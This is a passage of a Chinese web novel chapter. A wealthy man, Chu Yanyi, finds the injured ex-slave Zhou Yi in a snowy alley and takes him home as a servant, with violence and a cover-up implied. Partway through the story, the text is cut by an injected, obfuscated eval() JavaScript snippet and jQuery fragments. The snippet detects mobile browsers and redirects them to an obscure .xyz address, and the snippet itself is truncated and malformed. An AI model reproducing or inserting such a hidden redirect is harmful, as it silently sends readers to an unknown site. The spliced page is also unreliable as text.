今年荒星θ的冬天似乎比往常都要冷,时不时就听说有身体不好的老人没有熬过去的消息。
刚下车没走几步,楚衍翊的鼻头就被冻的有些红,他抬手按了按僵硬的肩膀,呼出的气如同一团团厚重的棉絮夹杂在风雪中。陈恪上前为他打伞,他却摇了摇头。
“你们在这里等我。”楚衍翊撑着手杖,戴着手套的双手几乎感觉不到上面雕刻的精致花纹,“如果我没有叫你们,不管发生什么都不要过来。”
楚衍翊偶尔会想起他第一次来到荒星θ的港口进货的时候。
独立出去并保持中立的荒星θ比经受过战乱的荒星γ要热闹的多,只是一处港口,就有形形色色的星舰上悬挂着联邦、帝国、兽人联盟甚至不知名小国的旗帜,不同的语言和黑话交织在一起。售卖汽水饮料的商人,售卖武器的商人,售卖违禁药物的商人,售卖情报的商人,售卖奴隶的商人……
楚衍翊那时候还需要爬到货箱上和那些奸诈的商人讨价还价,鹦鹉学舌般展示自己最得意的砍价技巧,他手上有一张清单,列着所有客人预定的商品。
而院长往往隐藏在暗处看着他的一举一动,那是个慈眉善目,留着长长白色胡须的Beta,他总穿着同一件磨损到起毛的外套,所有孤儿院里被他收养的孩子都叫他尼古拉斯先生,他是楚衍翊接触到的第一个“大人”。
“没关系,小一,你做的很好。”在楚衍翊紧张又害怕地发现自己漏了某样商品时,院长抬手揉了揉他的头发,“剩下的事交给大人就行了。”
他笑得和挂在办公室里那幅巨大的照片一样,轻松自然,无所畏惧。
后来这个大人被刊登在新闻报道上的死状万分惨烈,凶手手法残忍毫无人性,很长一段时间是荒星γ中不少孩子的噩梦。
镂刻着人影的窗户中渗出点点微光,孩子们哭闹的声音,情侣们吵架或是做I爱的声音……越往小巷深处走,墙壁上的涂鸦就越是狰狞,如果仔细看,就会发现那些绛紫色或是深褐色的泼溅图案并不是用颜料画的。
偶尔会遇到几乎和雪地融为一体的醉汉躺在路边,楚衍翊不疾不徐地路过,一直走到小巷的尽头,见到了想见的人。
他环抱着膝盖,靠在恶臭的垃圾桶边,垂着头,大声喘息,不停发出如同野兽般的低吟。
几个流浪汉横七竖八躺在一边,各种各样的生活用品散落一地,其中就有医生给周一准备好的药物。
楚衍翊的手杖停在蜿蜒曲折的血迹前面,他弯下腰,呼吸,皱眉,停顿:“周一,你没事吧?发生了什么?怎么搞成这样?”
周一猛地抬起头,眼睛睁得很圆,在惊疑之外,楚衍翊看到了其中另一种情绪,不过楚衍翊并不在意那是什么。
“他们……想要抢你的东西?所以你反击了?是这样吗?”楚衍翊俯视着周一,注意到他原来拿着的包只剩下一条破损的带子,那只畸形的右手被冻的通红。
周一摇摇头,又点头,咳嗽着吐出嘴里的血,只能发出“呃呃呃”的声音,发现楚衍翊在看他的右手时,他勉强把右手背到了身后。
楚衍琦当然知道发生了什么,那些商人——某些商人借口周一是自己逃奴,买通了守卫之后,派手下追了周一一路,如果不是楚衍翊特意在周边安排了人,恐怕周一没那么好逃开。
而周一误打误撞,进了这群流浪汉的地盘。
那可不是一群好惹的人。优胜劣汰原则在哪里都有效。即便商人的手下因为惧怕他们而不进来,可是周一一旦出去,就不好说了。
前提是他可以活着出去。
“这是第三次了吧……是不是有点冷?”楚衍翊摘下手套,缓缓又吃力地蹲下身,握住周一躲闪的右手,轻轻将他的手指尽量都塞到羊绒手套里。
周一咬了咬嘴唇,手套中残留的暖意仿佛要把他彻底融化,他盯着楚衍翊认真的侧脸,视线逐渐有些模糊,不知道为什么,他的心忽然安定了下来。
“我突然想到一件事才来找你的。”楚衍翊起身,拍了拍膝盖,从兜里掏出一个小小的U盘。
他指着依旧在周一脚踝上的脚环,把U盘放到周一的掌心,用力捏紧:“这几天太忙了忘了给你拿下来了,这是钥匙,你自己开吧。还好里面有追踪器,不然这么大一个荒星θ,我还真不知道要怎么找你。”
“那,再见了。”楚衍翊若无其事地松开手,“还有,以后注意安全。”
他拄着手杖,还没抬起脚,就感到有一股微弱的力道拽着他风衣的衣角。
“还有什么事吗?”楚衍翊回过头,静静地看着周一。
或许是因为在雪地站久了,一股难以言喻的疼痛从他的脚踝上开始蔓延。
周一颤抖着手,从沾满血迹的外套内兜里翻出一块水果硬糖,和楚衍翊递给他的U盘一起放在了右手掌心。
楚衍翊挑了挑眉毛,仿佛没明白周一的意思:“你喜欢吃这个?这个应该都挺好买的,到处都有,也不贵,要我带你去看看吗?”
周一整个后背都在寒风中沁出了汗,他惶恐不安地摇头,尽量直起身,将两样东西送到楚衍翊面前。
他垂下眼睛,盯着自己的影子一动不动。他知道自己现在有多狼狈,在拐进巷子的时候,他望见了那辆车后视镜里的自己。
颓废,佝偻,灰发凌乱,胡子拉碴,满面风霜。
“你以为你真的能够拥有真正的自由吗?”那个自己露出诡异的笑容,他听见它在说话。
在所谓的自由之地,他并没有见到那些奴隶们口中描述的天堂。
他只在那个地方恍惚过自己是不是身处天堂。
雪下得更大了,大片大片的雪花几乎要迷了眼睛。
楚衍翊配合着微笑,他拿起这两样东西把玩:“你是希望……我送你去你想去的地方吗?荒星θ的话问题不大,别的星球的话,可能要等到明后天了。”
沉默。
周一脸上最后一点血色都消失殆尽,他深吸一口气,扶着垃圾桶站起身,膝盖弯曲,结结实实地往雪地上跪了下去。
他被教导过太多次奴隶如何对待主人和客人的礼仪,疼痛是最好的老师,但这一次他居然没有太反胃。
在膝盖接触到地面的前一秒,周一被楚衍翊用手杖拦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203485|181258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住了动作。
“你已经自由了,没必要这样。你可以做任何你想做的事,去任何你想去的地方。”楚衍翊皱起眉,轻轻叹气,语气平常。
他顿了顿:“难道说……你想要和我回去?可是我为什么要这么做呢?你可能不记得了,但其实我一直都很奇怪,应煜当时为什么会那么喜欢你。”
周一愣住了,他迟缓地点头,右手再次不自觉地开始发抖,也不知是因为被拒绝,还是因为再度听到“应煜”的名字,但是他依旧固执地看着楚衍翊。
他的口型在说:“主人,请您……”
楚衍翊挑起眉毛,饶有兴趣地与他对视,Alpha红着眼圈,没有丝毫躲闪,却怎么也“说”不出后面的话语。
毕竟应煜喜欢的人……真的能把他的骨头全部折断吗?
于是他把两样东西重新放回了周一的手心,糖果因为他掌心的温度有些融化到糖纸里,在黑色的手套显得格外流光溢彩。
“我对当你的主人没有任何兴趣,给出去的东西,我也不会再拿回来。”楚衍翊握紧手杖,像是想到了什么,笑了起来:“这样吧,作为小琦的哥哥,为了表达歉意,你来给我工作怎么样?做些你力所能及的事情,不过我不能保证你是否可以通过工作得到快乐。”
周一没有任何犹豫,立刻点头。
微光透过红色、黄色、蓝色拼接而成的玻璃落在楚衍翊的脸上,他的眼睛中闪着绚烂的光芒。
那光芒太美好,让周一恍惚间想起了冬日中壁炉里蹿起的第一束火苗,他一时间忘了接下来要做什么。
风带着雪席卷而来,白色的雪片和黑色的风衣翻飞,楚衍翊翘起嘴角:“好吧,小一,跟我来吧,如果你确定这是你想要的。”
“联系一下莫管家,让他准备一份家里佣人的合同。”楚衍翊慢吞吞地回到巷口,对着几个助理指了指周一,“还有,今天应该是吴医生在家吧,让她先别急着下班。嗯……这些事先别让小琦知道。”
陈恪第一个反应过来,他替楚衍翊打开车门,笑道:“楚总,我还是第一次见有这种事。您这回可真上心。”
“又不差他一口饭。”楚衍翊跨进车里,对从刚刚开始就魂不守舍的周一抬了抬下巴,“上来吧。”
周一像是忽然回过神,打了个冷颤,迟疑着走到车门边。
陈恪冷哼一声:“楚总,我看他是又后悔了。”
周一急忙摇头,指着他们来的方向,又比划了起来。
楚衍翊眯起眼睛,伸出手,周一下意识便弯腰低下头,一个非常适合楚衍翊扇耳光或是拧耳朵的角度。
但他只是感到头发被揉了一下。像是在处理一个孩子不小心闯出的祸,楚衍翊漫不经心地开口:“陈恪,徐策岳,你们俩留下来,带人去把巷子里和其他那些收拾一下,我们可不能影响白天的市容。如果有人问,你们知道怎么说吧?”
“没问题,楚总。”两个被点名的助理异口同声地回答。
“没关系,剩下的那些事情交给我来就行了。”楚衍翊轻笑着,将男人那头灰发揉的更加凌乱,“走吧,回去了。”